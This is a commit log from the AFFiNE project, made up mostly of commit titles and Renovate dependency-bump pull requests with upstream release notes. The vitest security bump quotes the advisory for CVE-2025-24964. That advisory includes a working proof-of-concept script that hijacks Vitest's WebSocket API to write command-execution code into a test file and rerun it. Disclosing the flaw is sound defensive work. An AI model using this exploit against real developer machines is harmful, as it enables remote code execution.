🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 12:10:12 +00:00
doodlewind 56d604f685 perf(editor): use clipped section for worker bitmap cache (#9957)
Before (grey area as rendered canvas bitmap):

<img width="1114" alt="image" src="https://github.com/user-attachments/assets/9a209818-c388-4e55-af9b-116f24bd8027" />

After:

<img width="1103" alt="image" src="https://github.com/user-attachments/assets/1102264a-ec21-4c0c-b4b6-e82a64b1a844" />
2025-02-05 11:54:03 +00:00
CatsJuice 9bc085ff1b fix(ios): can't connect to dev server (#9959) 2025-02-05 11:39:19 +00:00
renovate e0dd90108f chore: bump up @capgo/inappbrowser version to v7 (#9956)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`^6.9.35` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/6.9.35/7.1.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/6.9.35/7.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.1.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#716-2025-02-02)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.6)

### [`v7.1.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#711-2025-01-27)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/847415fc3b4c7250e5f6ffb76d75c0c05cf74041...7.1.1)

### [`v7.0.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#700-2023-05-24)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/c1747d61cd1804d09310daa54e42efe4c82dd110...847415fc3b4c7250e5f6ffb76d75c0c05cf74041)

##### ⚠ BREAKING CHANGES

-   capacitor 5

##### Features

-   add clearCookie method ([4c5bd3c](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/4c5bd3c604ca7f080ffe10256fd4033a9d5cbe81))
-   capacitor 5 ([f023b23](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/f023b230edd5d3e75c94b6e6b75809aa01914035))
-   force 0.4 ([1f83751](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/1f837513c08cc35af08340b703a7811bfb470787))

##### Bug Fixes

-   add missing definition ([8f4084c](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/8f4084cb04b312b02e7dbb1c122921a1c9934196))
-   better documentation ([fe4ddab](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/fe4ddab78f46e17bdd117afb82855b921a38deb7))
-   build issue ([b1775db](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/b1775db824b2e1ea3e9159242642ded5576d434e))
-   build script ([551064c](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/551064cfa95692e202db6de9d79b76f476cfd4b5))
-   bump major ([803be81](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/803be81e74c1e31bab2349aa8d646957e196a568))
-   ci name ([30a9987](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/30a9987d2d35465e28300ead36c5c7fe76d53534))
-   **deps:** update dependency [@&#8203;capacitor/splash-screen](https://redirect.github.com/capacitor/splash-screen) to v5 ([6039de4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/6039de40f0a0f0acfc4d8d01cedebc2983ed512c))
-   **deps:** update dependency com.android.tools.build:gradle to v8.0.1 ([f2741a4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/f2741a45655f20efa7738d91b18a6394038d2195))
-   **deps:** update dependency com.google.android.material:material to v1.9.0 ([8fe8de0](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/8fe8de03d1465526ed08bf7ab7de2ee48a37d1b3))
-   finsih config cap 5 ([2b197e8](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/2b197e81b52bc525c9edb08163c0ff5ba097dd68))
-   ios build ([e63cf37](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/e63cf37096c44facbd59125190821eb01f57d9a2))
-   lint issue ([cc0d88f](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/cc0d88f3c60a11eea1a4d64fac07e0898d159451))
-   missing namespace ([360352e](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/360352e6ae06b8a1695a8129ad2ecdf026b08601))
-   versions actions ([d45036d](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/d45036dae156f51c3953b09e652111dae2a8557e))

### [`v6.9.37`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110)

### [`v6.9.36`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#6936-2025-01-23)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.35...6.9.36)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 11:23:57 +00:00
Brooooooklyn 10233f1dbf fix(admin): migrate tailwindcss config to v4 (#9940) 2025-02-05 11:09:58 +00:00
renovate 14fbb8b059 chore: bump up oxlint version to v0.15.9 (#9922)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.8` -> `0.15.9`](https://renovatebot.com/diffs/npm/oxlint/0.15.8/0.15.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.8/0.15.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.9`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.9): oxlint v0.15.9

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.8...oxlint_v0.15.9)

#### \[0.15.9] - 2025-02-01

##### Features

-   [`1a41181`](https://redirect.github.com/oxc-project/oxc/commit/1a41181) linter: Implement `eslint/prefer-object-spread` ([#&#8203;8216](https://redirect.github.com/oxc-project/oxc/issues/8216)) (tbashiyy)
-   [`adb8ebd`](https://redirect.github.com/oxc-project/oxc/commit/adb8ebd) linter: Implement no-useless-call rule ([#&#8203;8789](https://redirect.github.com/oxc-project/oxc/issues/8789)) (keita hino)
-   [`3790933`](https://redirect.github.com/oxc-project/oxc/commit/3790933) linter: Add vitest/prefer-lowercase-title rule ([#&#8203;8152](https://redirect.github.com/oxc-project/oxc/issues/8152)) (Tyler Earls)
-   [`e8e6917`](https://redirect.github.com/oxc-project/oxc/commit/e8e6917) linter: Unicorn/switch-cases-braces support options ([#&#8203;8704](https://redirect.github.com/oxc-project/oxc/issues/8704)) (1zumii)

##### Bug Fixes

-   [`8ce21d1`](https://redirect.github.com/oxc-project/oxc/commit/8ce21d1) linter: Can't disable `no-nested-ternary` rule anymore ([#&#8203;8600](https://redirect.github.com/oxc-project/oxc/issues/8600)) (dalaoshu)
-   [`e929f26`](https://redirect.github.com/oxc-project/oxc/commit/e929f26) linter: Output `LintCommandInfo` for `CliRunResult::LintNoFilesFound` ([#&#8203;8714](https://redirect.github.com/oxc-project/oxc/issues/8714)) (Sysix)
-   [`4f30a17`](https://redirect.github.com/oxc-project/oxc/commit/4f30a17) linter: Unicorn/switch-case-braces mangles code when applying fix ([#&#8203;8758](https://redirect.github.com/oxc-project/oxc/issues/8758)) (Tyler Earls)
-   [`9cc9d5f`](https://redirect.github.com/oxc-project/oxc/commit/9cc9d5f) linter: `ignorePatterns` does not work when files are provided as command arguments ([#&#8203;8590](https://redirect.github.com/oxc-project/oxc/issues/8590)) (dalaoshu)
-   [`1de6f85`](https://redirect.github.com/oxc-project/oxc/commit/1de6f85) linter: No-lone-blocks erroring on block statements containing comments ([#&#8203;8720](https://redirect.github.com/oxc-project/oxc/issues/8720)) (Tyler Earls)
-   [`77ef61a`](https://redirect.github.com/oxc-project/oxc/commit/77ef61a) linter: Fix diagnostic spans for `oxc/no-async-await` ([#&#8203;8721](https://redirect.github.com/oxc-project/oxc/issues/8721)) (camchenry)
-   [`f15bdce`](https://redirect.github.com/oxc-project/oxc/commit/f15bdce) linter: Catch `Promise` in `typescript/array-type` rule ([#&#8203;8702](https://redirect.github.com/oxc-project/oxc/issues/8702)) (Rintaro Itokawa)
-   [`5041cb3`](https://redirect.github.com/oxc-project/oxc/commit/5041cb3) vscode: Fix commands by reverting commit `259a47b` ([#&#8203;8819](https://redirect.github.com/oxc-project/oxc/issues/8819)) (Alexander S.)

##### Performance

-   [`d318238`](https://redirect.github.com/oxc-project/oxc/commit/d318238) linter: Remove sorting of rules in cache ([#&#8203;8718](https://redirect.github.com/oxc-project/oxc/issues/8718)) (camchenry)

##### Documentation

-   [`57b7ca8`](https://redirect.github.com/oxc-project/oxc/commit/57b7ca8) ast: Add documentation for all remaining JS AST methods ([#&#8203;8820](https://redirect.github.com/oxc-project/oxc/issues/8820)) (Cam McHenry)

##### Refactor

-   [`c2fdfc4`](https://redirect.github.com/oxc-project/oxc/commit/c2fdfc4) linter: Correctly handle loose options for `eslint/eqeqeq` ([#&#8203;8798](https://redirect.github.com/oxc-project/oxc/issues/8798)) (dalaoshu)
-   [`0aeaedd`](https://redirect.github.com/oxc-project/oxc/commit/0aeaedd) linter: Support loose options for `eslint/eqeqeq` ([#&#8203;8790](https://redirect.github.com/oxc-project/oxc/issues/8790)) (dalaoshu)
-   [`194a5ff`](https://redirect.github.com/oxc-project/oxc/commit/194a5ff) linter: Remove `LintResult` ([#&#8203;8712](https://redirect.github.com/oxc-project/oxc/issues/8712)) (Sysix)
-   [`4a2f2a9`](https://redirect.github.com/oxc-project/oxc/commit/4a2f2a9) linter: Move default `all_rules` output to trait ([#&#8203;8710](https://redirect.github.com/oxc-project/oxc/issues/8710)) (Sysix)
-   [`741fb40`](https://redirect.github.com/oxc-project/oxc/commit/741fb40) linter: Move stdout outside LintRunner ([#&#8203;8694](https://redirect.github.com/oxc-project/oxc/issues/8694)) (Sysix)
-   [`10e5920`](https://redirect.github.com/oxc-project/oxc/commit/10e5920) linter: Move finishing default diagnostic message to `GraphicalReporter` ([#&#8203;8683](https://redirect.github.com/oxc-project/oxc/issues/8683)) (Sysix)
-   [`9731c56`](https://redirect.github.com/oxc-project/oxc/commit/9731c56) oxlint: Move output from `CliRunResult::InvalidOption` to outside and use more Enums for different invalid options ([#&#8203;8778](https://redirect.github.com/oxc-project/oxc/issues/8778)) (Sysix)
-   [`fe45bee`](https://redirect.github.com/oxc-project/oxc/commit/fe45bee) oxlint: Create different `CliRunResult` instead of passing `ExitCode` to it ([#&#8203;8777](https://redirect.github.com/oxc-project/oxc/issues/8777)) (Sysix)
-   [`2378fef`](https://redirect.github.com/oxc-project/oxc/commit/2378fef) oxlint: Move ConfigFileInit output outside CliRunResult, exit code 1 when it fails ([#&#8203;8776](https://redirect.github.com/oxc-project/oxc/issues/8776)) (Sysix)
-   [`f4cecb5`](https://redirect.github.com/oxc-project/oxc/commit/f4cecb5) oxlint: Remove unused `CliRunResult::PathNotFound` ([#&#8203;8775](https://redirect.github.com/oxc-project/oxc/issues/8775)) (Sysix)

##### Testing

-   [`ad35e82`](https://redirect.github.com/oxc-project/oxc/commit/ad35e82) linter: Use snapshot testing instead of LintResult ([#&#8203;8711](https://redirect.github.com/oxc-project/oxc/issues/8711)) (Sysix)
-   [`bf895eb`](https://redirect.github.com/oxc-project/oxc/commit/bf895eb) linter: Add diagnostic format test snapshots ([#&#8203;8696](https://redirect.github.com/oxc-project/oxc/issues/8696)) (Alexander S.)
-   [`34d3d72`](https://redirect.github.com/oxc-project/oxc/commit/34d3d72) linter: Add snapshot tester for cli ([#&#8203;8695](https://redirect.github.com/oxc-project/oxc/issues/8695)) (Sysix)
-   [`0bf2bcf`](https://redirect.github.com/oxc-project/oxc/commit/0bf2bcf) oxlint: Test two real rules with same name but from different plugins ([#&#8203;8821](https://redirect.github.com/oxc-project/oxc/issues/8821)) (dalaoshu)
-   [`2b83b71`](https://redirect.github.com/oxc-project/oxc/commit/2b83b71) oxlint: Improve disabling "no-nested-ternary" tests ([#&#8203;8814](https://redirect.github.com/oxc-project/oxc/issues/8814)) (Alexander S.)
-   [`45648e7`](https://redirect.github.com/oxc-project/oxc/commit/45648e7) oxlint: Fix InvalidOptionTsConfig tests for windows ([#&#8203;8791](https://redirect.github.com/oxc-project/oxc/issues/8791)) (Alexander S.)
-   [`48bfed9`](https://redirect.github.com/oxc-project/oxc/commit/48bfed9) oxlint: Ignore windows path mismatch (Boshen)
-   [`6f4a023`](https://redirect.github.com/oxc-project/oxc/commit/6f4a023) oxlint: Remove "--print-config" test ([#&#8203;8792](https://redirect.github.com/oxc-project/oxc/issues/8792)) (Sysix)
-   [`55c2025`](https://redirect.github.com/oxc-project/oxc/commit/55c2025) oxlint: Add `CliRunResult` to snapshot ([#&#8203;8780](https://redirect.github.com/oxc-project/oxc/issues/8780)) (Sysix)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 10:54:57 +00:00
forehalo 7ceab1c7da chore(ios): rebuild ios graphql schema (#9935) 2025-02-05 10:27:27 +00:00
forehalo 7826e2b7c8 refactor(server): use feature model (#9932) 2025-02-05 10:27:26 +00:00
forehalo 0ff8d3af6f feat(server): auto create page owner role (#9944) 2025-02-05 10:09:57 +00:00
EYHN 5913715e33 fix(ios): fix app crash (#9955) 2025-02-05 09:44:54 +00:00
Flrande c8790d20da fix(editor): can not add attachment because service not exist (#9952)
![image](https://github.com/user-attachments/assets/0d78058a-4e30-4133-8c63-238456e70f34)
2025-02-05 09:29:24 +00:00
renovate 75c4291325 chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1464fc7b101709bfbf7b040e5bad62998c2ff9)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
pengx17 a1beb2aadb fix(electron): sourcemap not loading for electron dev mode (#9951) 2025-02-05 08:34:57 +00:00
EYHN ee0cfe4dc7 feat(nbstore): share worker between workspaces (#9947) 2025-02-05 07:57:03 +00:00
Saul-Mirone 972d76d685 refactor(editor): use spec builder to unify the extend of editor extensions (#9916) 2025-02-05 07:40:55 +00:00
doouding 02122098c7 fix: drag block issue (#9902)
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Brooooooklyn abeff8bb1a feat(server): doc level permission (#9760)
close CLOUD-89 CLOUD-90 CLOUD-91 CLOUD-92
2025-02-05 07:06:57 +00:00
Yifeng Wang 64de83b13d chore(editor): switch to edgeless in renderer poc entry (#9950) 2025-02-05 06:36:20 +00:00
aki-chang-dev 2607e34063 feat(android): sign-in with google & magic-link & email (#9868)
- [chore(android): migrate to version catalog](https://github.com/toeverything/AFFiNE/pull/9868/commits/16c0fb66e758abe9371f93d369e33db49f27807a)
- [feat(android): integrate apollo](https://github.com/toeverything/AFFiNE/pull/9868/commits/4dcf93b4f94b8a0c8cf6ba9ede21b8b7e0499004)
- [fix(android): fix android email sign-in](https://github.com/toeverything/AFFiNE/pull/9868/commits/752cf34f33db47721d013d2fab868029781b1132)
